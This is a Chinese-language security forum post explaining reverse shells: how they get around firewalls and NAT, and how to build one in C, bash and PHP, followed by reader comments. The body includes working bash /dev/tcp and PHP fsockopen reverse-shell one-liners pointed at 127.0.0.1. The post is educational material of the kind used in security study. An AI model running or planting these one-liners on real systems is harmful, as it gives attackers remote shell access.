2017.W47 - Reverse Shell - 資安

Heather avatar
By Heather
at 2017-11-21T22:36

Table of Contents

2017.W47 - Reverse Shell
> 已知用火

## 前言 ##
最近終於願意開始學習 Reverse Shell[0]

順便學習一下各種 reverse shell 的寫法 (不過還是有很多不會寫 QQ)

終於進化到已知用火的階段了 QQ



## 內容 ##
Shell[1] 是介於作業系統跟使用者中間的一個介面程式 通常是命令式介面 (CLI)[2]

作業系統本身是不參與跟使用者的互動

Shell 本身可以做到很多系統底層的操作 以及呼叫外部程式、指令等

而 Web Shell 則是泛指透過 Web 介面 (BUI)[3] 一種操作方式

本身擁有的權限與網頁伺服器[4] 一致 在 Ubuntu 中就可能是 www-data 權限



正常來說 Remote Shell 的連線方式是透過使用者端 主動連線到伺服器

這種使用情境符合大多數的情況 但是在少數情況 (e.g. 駭客入侵) 的時候

會因為防火牆原則或在 NAT[5] 之後 所以無法主動連線到受害者機器

因此發展出 reverse shell 的概念 也就是受害者機器主動發出網路連線的一種技巧





概念上來說 被控制端需要 1)主動發出網路連線 與 2)產生一個互動式介面

用 C 語言當做例子 就是要分別 1) 建立一個 socket 連線與 2) 呼叫一個 /bin/sh 的程式

使用 socket(AF_INET, SOCK_STREAM, 0) 建立一個 TCP 連線是個簡單的方式

複雜的則可以實作 UDP / ICMP 等其他方式的網路連線

連線建立之後的 socket 就可以透過 dup2 將內容重導向到 stdin/stdout

接著執行 execv 來產生一個 bash shell



除了透過低階程式之外 也可以直接使用 bash / Linux 的特性直接產生一個 reverse shell

在 Linux 下直接對檔案 /dev/tcp/[IP]/[Port] [6] 做操作

這樣就可以直接對外產生一個網路連線 並傳送、接收指令

最後可以用以下指令快速產生一個 reverse shell

/bin/bash -i >& /dev/tcp/127.0.0.1/34182 0>&1




相同的概念也可以透過 PHP 來實作

藉由 fsockopen [7] 快速產生一個 socket (並且預期 FD 是 3)

在用 exec 來執行跟 bash reverse shell 類似的指令

<?php $sk = fsockopen("127.0.0.1", 34182); exec("/bin/bash -i <&3 >&3 2>&3"); ?>



[0]: https://stackoverflow.com/questions/35271850/what-is-reverse-shell
[1]: https://zh.wikipedia.org/wiki/%E6%AE%BC%E5%B1%A4
[2]: https://en.wikipedia.org/wiki/Command-line_interface
[3]: https://en.wikipedia.org/wiki/Browser_user_interface
[4]: https://en.wikipedia.org/wiki/Web_server
[5]: https://en.wikipedia.org/wiki/Network_address_translation
[6]: http://www.tldp.org/LDP/abs/html/devref1.html
[7]: http://php.net/manual/en/function.fsockopen.php

--
Tags: 資安

All Comments

Frederica avatar
By Frederica
at 2017-11-22T19:23
Rebecca avatar
By Rebecca
at 2017-11-27T15:26
push
Ida avatar
By Ida
at 2017-11-28T13:56
推薦文章。
Lily avatar
By Lily
at 2017-12-02T21:32
我只有遇過直接用PHP當shell用得入侵
Susan avatar
By Susan
at 2017-12-06T08:11
可以寫個簡單的c program,不需要寫socket, 配合ncat指
令 也可以模擬遠端駭入的技術(e.g. bof,rop)
Quanna avatar
By Quanna
at 2017-12-11T07:42
Genevieve avatar
By Genevieve
at 2017-12-15T16:45
之所以要用socket就是因為輸出看不到或是無法直接連到遠
端等原因才在目標開socket反連回來啊
Susan avatar
By Susan
at 2017-12-17T14:46
reverse shell的目的不是單純模擬遠端攻擊…
Ophelia avatar
By Ophelia
at 2017-12-20T07:26
所以東西都不限於一種用法
Carolina Franco avatar
By Carolina Franco
at 2017-12-23T15:57
寫的很務實 推

2017.W46 - No SQL Injection in No SQL ?

Catherine avatar
By Catherine
at 2017-11-14T22:14
2017.W46 - No SQL Injection in No SQL? andgt; 雖然 No-SQL 已死(?) 但這問題還蠻有趣的 ## 前言 ## 最近在查資料 突然看到一篇文章[0] 提到 mongo DB 的 SSJI (Server-Side JavaScript Injectio ...

2017.W44-45 - Privileges Escalation

Aaliyah avatar
By Aaliyah
at 2017-11-07T22:37
2017.W44-45 - Privileges Escalation ## 前言 ## 上禮拜外出取材 不巧遇到 PTT 大斷線就停刊一天 今天的內容我會更加充實的 (握拳) 話說 推薦已滿 18 歲的人可以去看淺草的 ROCKZA 目前已經三刷 ROCKZA 感覺都滿有趣的 內容也相當有水 ...

Hitcon 2017 Quals

Elma avatar
By Elma
at 2017-11-06T12:01
(內文單純閒聊) 大家有打這個比賽嗎? 大家來分享一下解題(被整 過程吧~~ 我先分享好了 ------ 我只解出報到題而已rrrrr start那題 多了一層server.rb我就過不了了 它把STDIN.close後 就不能用pwnlibs的interact了...... 不過我 ...

CompTIA Security+ 考試

Agnes avatar
By Agnes
at 2017-10-28T23:19
報名了Security+考試 在準備的過程中學到很多 應該對未來找資安類的工作會有些幫助(?) 想請問考試有可能重複官方或是參考書上的題目嗎? 另外所有的縮寫都要背嗎? 太多了有點記不起來... 希望能請資安前輩分享一下 感謝! - ...

2017.W43 - L(R)FI

Elizabeth avatar
By Elizabeth
at 2017-10-24T22:17
2017.W43 - L(R)FI andgt; 最近沒有愛 上班都在玩 OSCP ## 前言 ## PHP 是最好的語言 沒有之一[1] ## 內容 ## 在 CWE 的分類中 (98)[2] 介紹了 不正確檔案引用 的類別 在 PHP 跟其他 script language 中 可以動態引 ...